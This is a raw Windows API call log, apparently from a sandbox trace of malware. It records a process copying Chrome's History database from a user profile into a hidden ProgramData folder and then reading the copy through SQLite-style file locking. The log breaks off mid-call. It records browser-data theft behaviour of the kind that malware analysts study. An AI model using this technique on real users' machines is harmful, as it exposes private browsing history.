GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\history")) returned 0x20 [0050.411] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\default\\history"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.411] GetFileType (hFile=0x390) returned 0x1 [0050.411] CreateFileW (lpFileName="historych" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19eeb4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0050.411] GetFileType (hFile=0x394) returned 0x1 [0050.411] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.413] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.413] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.414] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.414] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.415] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.416] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.417] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.418] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.419] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.420] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x1000, lpOverlapped=0x0) returned 1 [0050.420] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d44c, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d44c*=0x1000, lpOverlapped=0x0) returned 1 [0050.420] ReadFile (in: hFile=0x390, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ef20, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19ef20*=0x0, lpOverlapped=0x0) returned 1 [0050.420] WriteFile (in: hFile=0x394, lpBuffer=0x1f210c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4d8, lpOverlapped=0x0 | out: lpBuffer=0x1f210c0*, lpNumberOfBytesWritten=0x19d4d8*=0x1000, lpOverlapped=0x0) returned 1 [0050.420] GetFullPathNameW (in: lpFileName="historych", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0050.420] GetFullPathNameW (in: lpFileName="historych", nBufferLength=0x31, lpBuffer=0x1f14380, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych", lpFilePart=0x0) returned 0x2d [0050.420] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0050.421] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a2d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0050.421] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0050.421] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych", nBufferLength=0x31, lpBuffer=0x25d0ee0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych", lpFilePart=0x0) returned 0x2d [0050.421] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8 | out: lpSectorsPerCluster=0x19eec8, lpBytesPerSector=0x19eec4, lpNumberOfFreeClusters=0x19eec8, lpTotalNumberOfClusters=0x19eec8) returned 1 [0050.421] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f150*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f150*=0) returned 0x0 [0050.421] ReadFile (in: hFile=0x390, lpBuffer=0x19f1cc, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x19f170, lpOverlapped=0x0 | out: lpBuffer=0x19f1cc*, lpNumberOfBytesRead=0x19f170*=0x64, lpOverlapped=0x0) returned 1 [0050.421] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.422] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed30 | out: lpOverlapped=0x19ed30) returned 1 [0050.422] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.422] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a306, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0050.422] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ed1c | out: lpFileInformation=0x19ed1c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.422] GetLastError () returned 0x2 [0050.422] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed54 | out: lpFileSizeHigh=0x19ed54*=0x0) returned 0x19000 [0050.422] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a33c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0050.422] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ed34 | out: lpFileInformation=0x19ed34*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.422] GetLastError () returned 0x2 [0050.422] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed6c | out: lpFileSizeHigh=0x19ed6c*=0x0) returned 0x19000 [0050.422] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ed20*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ed20*=0) returned 0x0 [0050.422] ReadFile (in: hFile=0x390, lpBuffer=0x1f342bc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19ed40, lpOverlapped=0x0 | out: lpBuffer=0x1f342bc*, lpNumberOfBytesRead=0x19ed40*=0x1000, lpOverlapped=0x0) returned 1 [0050.422] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.422] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.422] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ee6c | out: lpOverlapped=0x19ee6c) returned 1 [0050.422] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a306, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0050.423] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ee58 | out: lpFileInformation=0x19ee58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.423] GetLastError () returned 0x2 [0050.423] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19eea8 | out: lpFileSizeHigh=0x19eea8*=0x0) returned 0x19000 [0050.423] SetFilePointer (in: hFile=0x390, lDistanceToMove=24, lpDistanceToMoveHigh=0x19ee94*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee94*=0) returned 0x18 [0050.423] ReadFile (in: hFile=0x390, lpBuffer=0x19eee4, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x19eeb4, lpOverlapped=0x0 | out: lpBuffer=0x19eee4*, lpNumberOfBytesRead=0x19eeb4*=0x10, lpOverlapped=0x0) returned 1 [0050.423] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ee90 | out: lpFileSizeHigh=0x19ee90*=0x0) returned 0x19000 [0050.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a33c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0050.423] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ee70 | out: lpFileInformation=0x19ee70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.423] GetLastError () returned 0x2 [0050.423] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19eea8 | out: lpFileSizeHigh=0x19eea8*=0x0) returned 0x19000 [0050.423] SetFilePointer (in: hFile=0x390, lDistanceToMove=12288, lpDistanceToMoveHigh=0x19ee84*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee84*=0) returned 0x3000 [0050.423] ReadFile (in: hFile=0x390, lpBuffer=0x1f23ed4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19eea4, lpOverlapped=0x0 | out: lpBuffer=0x1f23ed4*, lpNumberOfBytesRead=0x19eea4*=0x1000, lpOverlapped=0x0) returned 1 [0050.423] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.423] LockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0050.423] LockFileEx (in: hFile=0x390, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ee64 | out: lpOverlapped=0x19ee64) returned 1 [0050.423] UnlockFile (hFile=0x390, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.423] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a306, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 54 [0050.423] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ee50 | out: lpFileInformation=0x19ee50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0050.423] GetLastError () returned 0x2 [0050.423] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19eea0 | out: lpFileSizeHigh=0x19eea0*=0x0) returned 0x19000 [0050.424] SetFilePointer (in: hFile=0x390, lDistanceToMove=24, lpDistanceToMoveHigh=0x19ee8c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ee8c*=0) returned 0x18 [0050.424] ReadFile (in: hFile=0x390, lpBuffer=0x19eedc, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x19eeac, lpOverlapped=0x0 | out: lpBuffer=0x19eedc*, lpNumberOfBytesRead=0x19eeac*=0x10, lpOverlapped=0x0) returned 1 [0050.424] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ee88 | out: lpFileSizeHigh=0x19ee88*=0x0) returned 0x19000 [0050.424] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a33c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 50 [0050.424] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\historych-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\historych-wal"), fInfoLevelId=0x0, lpFileInformation=0x19ee68 | out: lpFileInformation=0x19ee68*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, 